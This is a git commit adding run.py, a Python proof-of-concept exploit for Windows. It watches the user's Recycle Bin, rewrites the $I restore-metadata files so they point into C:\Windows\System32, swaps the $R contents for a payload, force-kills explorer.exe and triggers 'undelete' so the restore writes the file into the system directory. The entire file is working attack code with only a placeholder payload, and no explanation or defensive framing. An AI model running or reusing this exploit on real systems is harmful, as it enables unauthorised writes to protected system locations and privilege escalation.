Add run.py
This commit is contained in:
@@ -0,0 +1,104 @@
|
||||
import os, sys, time, threading, struct, ctypes
|
||||
import win32file, win32con, win32security, win32api, win32com.client, pythoncom
|
||||
|
||||
TARGET_DIR = r"C:\Windows\System32"
|
||||
TARGET_NAME = "test.txt"
|
||||
PAYLOAD = b"MZ_RESEARCH_PAYLOAD_" + b"\x00" * 96
|
||||
START_TIME = time.time()
|
||||
|
||||
def get_sid():
|
||||
tok = win32security.OpenProcessToken(win32api.GetCurrentProcess(), 0x8)
|
||||
sid = win32security.GetTokenInformation(tok, win32security.TokenUser)[0]
|
||||
return win32security.ConvertSidToStringSid(sid)
|
||||
|
||||
def parse_ifile(path):
|
||||
try:
|
||||
with open(path, "rb") as f: data = f.read()
|
||||
if len(data) < 28: return None, None
|
||||
plen = struct.unpack_from("<I", data, 24)[0]
|
||||
orig = data[28:28+plen*2].decode("utf-16-le", errors="replace").rstrip("\x00")
|
||||
return data, orig
|
||||
except: return None, None
|
||||
|
||||
def build_ifile(data, new_path):
|
||||
enc = (new_path + "\x00").encode("utf-16-le")
|
||||
return data[:24] + struct.pack("<I", len(new_path)+1) + enc
|
||||
|
||||
def wait_readable(path, timeout=3.0):
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
try:
|
||||
open(path, "rb").close()
|
||||
return True
|
||||
except: time.sleep(0.05)
|
||||
return False
|
||||
|
||||
def attack(i_path):
|
||||
time.sleep(0.06)
|
||||
data, orig = parse_ifile(i_path)
|
||||
if not data: return
|
||||
orig_name = os.path.basename(orig)
|
||||
target_dest = os.path.join(TARGET_DIR, TARGET_NAME)
|
||||
|
||||
try:
|
||||
with open(i_path, "wb") as f:
|
||||
f.write(build_ifile(data, target_dest))
|
||||
except: return
|
||||
|
||||
r_path = os.path.join(os.path.dirname(i_path), "$R" + os.path.basename(i_path)[2:])
|
||||
if wait_readable(r_path):
|
||||
try:
|
||||
with open(r_path, "wb") as f: f.write(PAYLOAD)
|
||||
except: pass
|
||||
|
||||
os.system("taskkill /f /im explorer.exe >nul 2>&1")
|
||||
|
||||
try:
|
||||
pythoncom.CoInitialize()
|
||||
shell = win32com.client.Dispatch("Shell.Application")
|
||||
items = shell.Namespace(10).Items()
|
||||
suffix = os.path.basename(i_path)[2:].upper()
|
||||
for i in range(items.Count):
|
||||
item = items.Item(i)
|
||||
try:
|
||||
if suffix in str(item.Path).upper() or item.Name == orig_name:
|
||||
item.InvokeVerb("undelete")
|
||||
break
|
||||
except: continue
|
||||
else:
|
||||
for i in range(items.Count):
|
||||
item = items.Item(i)
|
||||
if item.Name == orig_name:
|
||||
item.InvokeVerb("undelete")
|
||||
break
|
||||
except: pass
|
||||
|
||||
def watch():
|
||||
sid = get_sid()
|
||||
path = f"C:\\$Recycle.Bin\\{sid}"
|
||||
hdir = win32file.CreateFile(
|
||||
path, win32con.GENERIC_READ,
|
||||
win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE,
|
||||
None, win32con.OPEN_EXISTING,
|
||||
win32con.FILE_FLAG_BACKUP_SEMANTICS|win32con.FILE_FLAG_OVERLAPPED, None)
|
||||
seen = set()
|
||||
while True:
|
||||
for action, fn in win32file.ReadDirectoryChangesW(hdir, 65536, True,
|
||||
win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE,
|
||||
None, None):
|
||||
full = os.path.join(path, fn)
|
||||
base = os.path.basename(fn)
|
||||
if (action == 1 and base.startswith("$I")
|
||||
and full not in seen
|
||||
and os.path.getmtime(full) >= START_TIME - 1):
|
||||
seen.add(full)
|
||||
threading.Thread(target=attack, args=(full,), daemon=True).start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
if os.path.exists(os.path.join(TARGET_DIR, TARGET_NAME)):
|
||||
print(f"{TARGET_NAME} already exists in System32, remove it first")
|
||||
sys.exit(1)
|
||||
try:
|
||||
watch()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
Reference in New Issue
Block a user